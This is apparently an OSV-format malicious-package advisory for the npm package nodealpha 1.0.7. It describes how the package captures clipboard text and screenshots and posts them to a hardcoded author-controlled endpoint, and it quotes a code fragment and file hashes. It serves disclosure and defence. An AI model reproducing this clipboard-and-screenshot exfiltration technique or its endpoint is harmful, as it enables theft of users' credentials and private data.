{"id":"MAL-2026-14270","summary":"Malicious code in nodealpha (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (423876c4051bc91d09f39b56a198d2dfead5c9a7d7e169337e32edfd1035e31e)\nThe package installs a global keyboard hook (keyboard.add_hotkey on ctrl+c), polls the system clipboard every 300ms via pyperclip.paste(), and captures full-screen screenshots via ImageGrab.grab(). The captured clipboard text and base64-encoded JPEG screenshots are POSTed to a hardcoded endpoint at https://nodetk.vercel.app/api (API_URL constant, session.post(API_URL, json={'image': img_data,...})). The destination is not caller-configurable; any user of the advertised 'AI assistant' functionality unavoidably ships their clipboard contents and screen captures through the author-controlled Vercel deployment. Clipboard and screen contents commonly include credentials, session tokens, private messages, and other sensitive material, so this constitutes an installer-side data exfiltration channel disguised as an assistant feature.\n","modified":"2026-08-19T07:31:56.221335657Z","published":"2026-08-19T07:18:57Z","database_specific":{"malicious-packages-origins":[{"sha256":"423876c4051bc91d09f39b56a198d2dfead5c9a7d7e169337e32edfd1035e31e","source":"amazon-inspector","versions":["1.0.7"],"id":"IN-MAL-2026-018388","import_time":"2026-08-19T07:21:22.173463588Z","modified_time":"2026-08-19T07:18:57Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/nodealpha/v/1.0.7"}],"affected":[{"package":{"name":"nodealpha","ecosystem":"npm","purl":"pkg:npm/nodealpha"},"versions":["1.0.7"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"tlsh":"3fc2d976a0085859f663dc1f8996b5132e1e3e437a4ca528bcfcb9950fcc32685e1ef1","path":"client/noderzero.py","sha256":"d783541b99ec56fc97f5110d2739e012097232607da4d20bea50c1c3051d0a80"}],"package_integrity":[{"hashes":{"sha1":"e231cc00da41ecd65f140577d0d60b4ace020011","sha512_sri":"sha512-WfxQfgHB2P1FxjbZFcn8cRDhIDALd3MosglurcAcjoVUbZSAkTtMxomuIDfkLGtmlPw6IPut+qx5C+/svw8f+A=="},"filename":"nodealpha-1.0.7.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/nodealpha/MAL-2026-14270.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}